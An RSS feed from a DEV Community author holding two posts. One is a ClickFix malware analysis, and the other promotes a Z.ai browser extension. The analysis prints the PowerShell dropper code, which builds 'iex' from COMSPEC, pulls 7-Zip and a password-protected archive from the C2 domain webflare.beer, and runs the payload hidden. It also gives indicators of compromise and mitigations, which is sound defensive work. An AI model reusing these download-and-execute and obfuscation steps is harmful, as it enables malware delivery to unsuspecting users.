<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Yusril Ihsanul Alim</title>
    <description>The latest articles on DEV Community by Yusril Ihsanul Alim (@mixwz).</description>
    <link>https://dev.to/mixwz</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2671731%2Fe5c9af22-1180-41a7-8082-d49ccbc7ba15.jpg</url>
      <title>DEV Community: Yusril Ihsanul Alim</title>
      <link>https://dev.to/mixwz</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mixwz"/>
    <language>en</language>
    <item>
      <title>ClickFIX Malware</title>
      <dc:creator>Yusril Ihsanul Alim</dc:creator>
      <pubDate>Fri, 22 May 2026 15:50:08 +0000</pubDate>
      <link>https://dev.to/mixwz/clickfx-malware-fjc</link>
      <guid>https://dev.to/mixwz/clickfx-malware-fjc</guid>
      <description>&lt;p&gt;Here's the complete breakdown of this malware:&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 1: Outer Wrapper (Obfuscation Layer)
&lt;/h2&gt;

&lt;p&gt;The outer script uses three layers of evasion:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;XOR obfuscation&lt;/strong&gt;: The massive hex string (&lt;code&gt;$x24&lt;/code&gt;) is XOR-decrypted using the key &lt;code&gt;5JZv8J9xz&lt;/code&gt;. Each byte is decoded by converting 2 hex chars to an integer, then XORing with the key character at position &lt;code&gt;(i/2) % key_length&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Dynamic &lt;code&gt;iex&lt;/code&gt; construction&lt;/strong&gt;: Instead of writing &lt;code&gt;iex&lt;/code&gt; literally, it builds it from the &lt;code&gt;COMSPEC&lt;/code&gt; environment variable (&lt;code&gt;C:\Windows\system32\cmd.exe&lt;/code&gt;):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Index 4 → &lt;code&gt;W&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Index 26 → &lt;code&gt;e&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Index 25 → &lt;code&gt;x&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Joined → &lt;code&gt;iex&lt;/code&gt; (Invoke-Expression)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Execution via &lt;code&gt;iex&lt;/code&gt;&lt;/strong&gt;: &lt;code&gt;.($env:ComSpec[4,26,25]-join'') $y25&lt;/code&gt; evaluates to &lt;code&gt;iex $y25&lt;/code&gt;, executing the decoded payload.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Stage 2: Decoded Payload (Dropper)
&lt;/h2&gt;

&lt;p&gt;The decoded payload (&lt;code&gt;$v7am6e&lt;/code&gt;) is a complete malware dropper:&lt;/p&gt;

&lt;h3&gt;
  
  
  Configuration
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variable&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$g7&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;7z&lt;/code&gt; (archive extension)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$h8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;2026&lt;/code&gt; (password for the archive)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Execution Flow
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Create temp workspace&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$i9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Join-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;TEMP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;System.IO.Path&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;GetRandomFileName&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;New-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ItemType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$i9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Out-Null&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 — Download 7z.exe (decompressor)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$j10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Join-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$i9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;System.IO.Path&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;GetRandomFileName&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'.exe'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'https://webflare.beer/api/7z.exe'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$j10&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Downloads a legitimate &lt;strong&gt;7-Zip&lt;/strong&gt; binary from the C2 server at &lt;code&gt;webflare.beer&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3 — Download encrypted payload&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$k11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Join-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$i9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;System.IO.Path&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;GetRandomFileName&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'.'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$g7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Invoke-WebRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'https://webflare.beer/api/index.php?a=dl&amp;amp;token=...'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-OutFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$k11&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Downloads a password-protected &lt;strong&gt;7z archive&lt;/strong&gt; from the C2. The request mimics a reCAPTCHA callback with a fake referrer (&lt;code&gt;mdwaktual.com&lt;/code&gt;). Retries up to 3 times with 2-second delays if it fails.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4 — Extract with 7z&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$o15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@(&lt;/span&gt;&lt;span class="s1"&gt;'x'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'-y'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'-p2026'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'-o'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$n14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$k11&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$j10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;o15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Out-Null&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Extracts the archive using 7-Zip with password &lt;code&gt;2026&lt;/code&gt;. If 7z.exe failed to download, it falls back to executing the archive directly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5 — Execute the final payload&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$p16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$n14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="nf"&gt;exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Recurse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-First&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$q17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$n14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="nf"&gt;msi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Recurse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-First&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It looks for either a &lt;code&gt;.exe&lt;/code&gt; or &lt;code&gt;.msi&lt;/code&gt; file inside the extracted archive, then executes it with &lt;code&gt;Start-Process -WindowStyle Hidden&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 6 — Cleanup&lt;/strong&gt;: Deletes the downloaded 7z archive and 7z.exe.&lt;/p&gt;




&lt;h2&gt;
  
  
  Stage 3: Final Stage
&lt;/h2&gt;

&lt;p&gt;This is launched as a &lt;strong&gt;new hidden PowerShell process&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Start-Process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-WindowStyle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Hidden&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;powershell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ArgumentList&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'-NoProfile'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'-WindowStyle'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'Hidden'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'-Command'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$v7am6e&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The final payload hosted at &lt;code&gt;webflare.beer&lt;/code&gt; is unknown (encrypted archive not available), but based on the download infrastructure it's likely:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AsyncRAT&lt;/strong&gt;, &lt;strong&gt;AgentTesla&lt;/strong&gt;, &lt;strong&gt;RedLine Stealer&lt;/strong&gt;, or similar infostealer/RAT&lt;/li&gt;
&lt;li&gt;The reCAPTCHA-mimicking URI with &lt;code&gt;cb=chrome&amp;amp;ref=https://mdwaktual.com&lt;/code&gt; suggests it targets credential harvesting via fake browser update / captcha themes&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  IOCs (Indicators of Compromise)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;C2 Domain&lt;/td&gt;
&lt;td&gt;&lt;code&gt;webflare.beer&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Download URL 1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;https://webflare.beer/api/7z.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Download URL 2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;https://webflare.beer/api/index.php?a=dl&amp;amp;token=d123a6194156eab57f412223d4a8add891e6952bc1bcc89eea3cbf411b9da042&amp;amp;src=recaptcha&amp;amp;cb=chrome&amp;amp;ref=https://mdwaktual.com/&amp;amp;mode=recaptcha&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Archive Password&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2026&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Temp Directory Pattern&lt;/td&gt;
&lt;td&gt;Randomly-named folder in &lt;code&gt;%TEMP%&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7z.exe hash&lt;/td&gt;
&lt;td&gt;Unknown (fetched live from C2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Referrer spoof&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mdwaktual.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Mitigation
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Block&lt;/strong&gt; the domain &lt;code&gt;webflare.beer&lt;/code&gt; at firewall/DNS level&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Block&lt;/strong&gt; &lt;code&gt;*.beer&lt;/code&gt; TLD if your org doesn't use it&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Restrict PowerShell execution&lt;/strong&gt; via Constrained Language Mode or AppLocker&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor&lt;/strong&gt; &lt;code&gt;powershell.exe&lt;/code&gt; spawning from another &lt;code&gt;powershell.exe&lt;/code&gt; with &lt;code&gt;-WindowStyle Hidden&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check&lt;/strong&gt; &lt;code&gt;%TEMP%&lt;/code&gt; for randomly-named directories containing &lt;code&gt;7z.exe&lt;/code&gt; or &lt;code&gt;.7z&lt;/code&gt; files&lt;/li&gt;
&lt;/ol&gt;




</description>
      <category>code</category>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
    </item>
    <item>
      <title>Zenhance The toolkit Z.ai should have shipped with.</title>
      <dc:creator>Yusril Ihsanul Alim</dc:creator>
      <pubDate>Wed, 06 May 2026 13:36:48 +0000</pubDate>
      <link>https://dev.to/mixwz/zenhance-the-toolkitzai-should-haveshipped-with-44pd</link>
      <guid>https://dev.to/mixwz/zenhance-the-toolkitzai-should-haveshipped-with-44pd</guid>
      <description>&lt;h1&gt;
  
  
  Zenhance — The Toolkit Z.ai Should Have Shipped With
&lt;/h1&gt;

&lt;p&gt;Z.ai is powerful… but let’s be honest — it’s missing the features that power users actually need.&lt;/p&gt;

&lt;p&gt;That’s where &lt;strong&gt;&lt;a href="https://chromewebstore.google.com/detail/zenhance/piiedokfmfgihfceljpcgcfflcgglmhm" rel="noopener noreferrer"&gt;Zenhance&lt;/a&gt;&lt;/strong&gt; comes in&lt;/p&gt;

&lt;p&gt;&lt;a href="https://chromewebstore.google.com/detail/zenhance/piiedokfmfgihfceljpcgcfflcgglmhm" rel="noopener noreferrer"&gt;Zenhance&lt;/a&gt; injects directly into your Z.ai chat interface and upgrades it in-place.&lt;br&gt;
No separate dashboard. No extra tabs. No friction.&lt;/p&gt;

&lt;p&gt;Everything lives exactly where you already work.&lt;/p&gt;




&lt;h2&gt;
  
  
  ⚡ What Zenhance Adds
&lt;/h2&gt;

&lt;h3&gt;
  
  
  📌 Chat Bookmarks
&lt;/h3&gt;

&lt;p&gt;Save any chat session straight to your sidebar.&lt;br&gt;
Find it instantly with search, and rename it however you like.&lt;/p&gt;




&lt;h3&gt;
  
  
  🧩 Prompt Snippets
&lt;/h3&gt;

&lt;p&gt;Build your own library of reusable prompt templates.&lt;br&gt;
One click → instantly inserted into the input box.&lt;/p&gt;




&lt;h3&gt;
  
  
  🎭 Personas
&lt;/h3&gt;

&lt;p&gt;Define custom AI personalities and toggle them on/off anytime.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Automatically injected into every message&lt;/li&gt;
&lt;li&gt;Supports &lt;strong&gt;one-shot mode&lt;/strong&gt; for temporary overrides&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  🛡️ Guardrails
&lt;/h3&gt;

&lt;p&gt;Set rules the AI must follow.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Auto-appended to every prompt&lt;/li&gt;
&lt;li&gt;Stack multiple guardrails&lt;/li&gt;
&lt;li&gt;One-shot mode for temporary constraints&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  🔍 Context Questions
&lt;/h3&gt;

&lt;p&gt;As you type, Zenhance detects:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Language&lt;/li&gt;
&lt;li&gt;Topic&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then suggests relevant follow-up questions you can insert with one click.&lt;/p&gt;




&lt;h3&gt;
  
  
  📂 Chat Folding
&lt;/h3&gt;

&lt;p&gt;Long AI responses get messy — especially with injected context.&lt;/p&gt;

&lt;p&gt;Zenhance automatically:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Collapses Persona / Guardrails / Context blocks&lt;/li&gt;
&lt;li&gt;Keeps your chat clean and readable&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  ✏️ Editable Greeting
&lt;/h3&gt;

&lt;p&gt;Click your name in the greeting and personalize it.&lt;/p&gt;

&lt;p&gt;Saved locally. No account needed.&lt;/p&gt;




&lt;h3&gt;
  
  
  👁️ UI Toggle
&lt;/h3&gt;

&lt;p&gt;Hide distractions instantly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Chat history&lt;/li&gt;
&lt;li&gt;Ads&lt;/li&gt;
&lt;li&gt;Template suggestions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Focus only on what matters.&lt;/p&gt;




&lt;h3&gt;
  
  
  💾 Backup &amp;amp; Restore
&lt;/h3&gt;

&lt;p&gt;Export everything as a JSON file:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bookmarks&lt;/li&gt;
&lt;li&gt;Personas&lt;/li&gt;
&lt;li&gt;Guardrails&lt;/li&gt;
&lt;li&gt;Snippets&lt;/li&gt;
&lt;li&gt;Settings&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Import it on any device whenever you want.&lt;/p&gt;




&lt;h2&gt;
  
  
  🤔 Why Install Zenhance?
&lt;/h2&gt;

&lt;p&gt;Z.ai works.&lt;/p&gt;

&lt;p&gt;But it doesn’t give you control over &lt;strong&gt;repeatable workflows&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;If you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Keep copying the same prompt structures&lt;/li&gt;
&lt;li&gt;Switch between different AI behaviors&lt;/li&gt;
&lt;li&gt;Lose track of useful chats&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then Zenhance fixes that.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔒 Philosophy
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Everything is &lt;strong&gt;local&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Everything is &lt;strong&gt;optional&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Nothing touches your data without your action&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  🚀 Final Thought
&lt;/h2&gt;

&lt;p&gt;Z.ai gives you intelligence.&lt;br&gt;
&lt;strong&gt;&lt;a href="https://chromewebstore.google.com/detail/zenhance/piiedokfmfgihfceljpcgcfflcgglmhm" rel="noopener noreferrer"&gt;Zenhance&lt;/a&gt; gives you control.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>productivity</category>
      <category>showdev</category>
      <category>tooling</category>
    </item>
  </channel>
</rss>
